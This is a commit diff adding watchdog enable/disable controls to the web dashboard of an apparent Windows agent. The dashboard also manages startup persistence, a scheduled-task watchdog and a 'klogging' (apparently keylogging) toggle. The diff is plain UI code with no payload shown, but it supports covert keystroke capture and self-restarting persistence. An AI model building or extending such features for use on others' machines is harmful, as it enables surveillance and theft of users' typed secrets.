feat(watchdog): separate watchdog from startup

- Add /api/v1/watchdog to enable/disable
- Scheduled task now runs every 15 minutes
- Use schtasks command line instead of XML
- Dashboard shows watchdog enabled state
- Preserve watchdog state during install

lib/agent/web/app.js

@@ -15,6 +15,9 @@
   const startupState = document.getElementById("startup-state");
   const startupAdd = document.getElementById("startup-add");
   const startupRemove = document.getElementById("startup-remove");
+  const watchdogState = document.getElementById("watchdog-state");
+  const watchdogEnable = document.getElementById("watchdog-enable");
+  const watchdogDisable = document.getElementById("watchdog-disable");
   const keylogState = document.getElementById("keylog-state");
   const keylogEnable = document.getElementById("keylog-enable");
   const keylogDisable = document.getElementById("keylog-disable");
@@ -135,9 +138,11 @@
       ["Uptime", `${data.uptime_seconds}s`],
       ["Local IPs", (data.local_ips || []).join(", ") || "—"],
       ["Startup", data.startup_enabled ? "enabled" : "disabled"],
+      ["Watchdog", data.watchdog_enabled ? "enabled" : "disabled"],
       ["klogging", data.klogging ? "on" : "off"],
     ];
     setStartup(Boolean(data.startup_enabled));
+    setWatchdog(Boolean(data.watchdog_enabled));
     currentListen = data.listen_address || "";
     syncUpdateMeta();
     loadSettings().catch((err) => showError(err.message));
@@ -312,6 +317,12 @@
     startupRemove.disabled = !enabled;
   }
 
+  function setWatchdog(enabled) {
+    watchdogState.textContent = enabled ? "Watchdog: enabled" : "Watchdog: disabled";
+    watchdogEnable.disabled = enabled;
+    watchdogDisable.disabled = !enabled;
+  }
+
   function setKeylog(enabled) {
     keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
     keylogEnable.disabled = enabled;
@@ -339,6 +350,15 @@
     const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
     const data = await res.json();
     setStartup(Boolean(data.startup_enabled));
+    setWatchdog(Boolean(data.watchdog_enabled));
+    loadStatus().catch((err) => showError(err.message));
+  }
+
+  async function setWatchdogEnabled(enabled) {
+    const res = await api("/api/v1/watchdog", { method: enabled ? "POST" : "DELETE" });
+    const data = await res.json();
+    setStartup(Boolean(data.startup_enabled));
+    setWatchdog(Boolean(data.watchdog_enabled));
     loadStatus().catch((err) => showError(err.message));
   }
 
@@ -729,6 +749,12 @@
   startupRemove.addEventListener("click", () => {
     setStartupEnabled(false).catch((err) => showError(err.message));
   });
+  watchdogEnable.addEventListener("click", () => {
+    setWatchdogEnabled(true).catch((err) => showError(err.message));
+  });
+  watchdogDisable.addEventListener("click", () => {
+    setWatchdogEnabled(false).catch((err) => showError(err.message));
+  });
   keylogEnable.addEventListener("click", () => {
     setKeylogEnabled(true).catch((err) => showError(err.message));
   });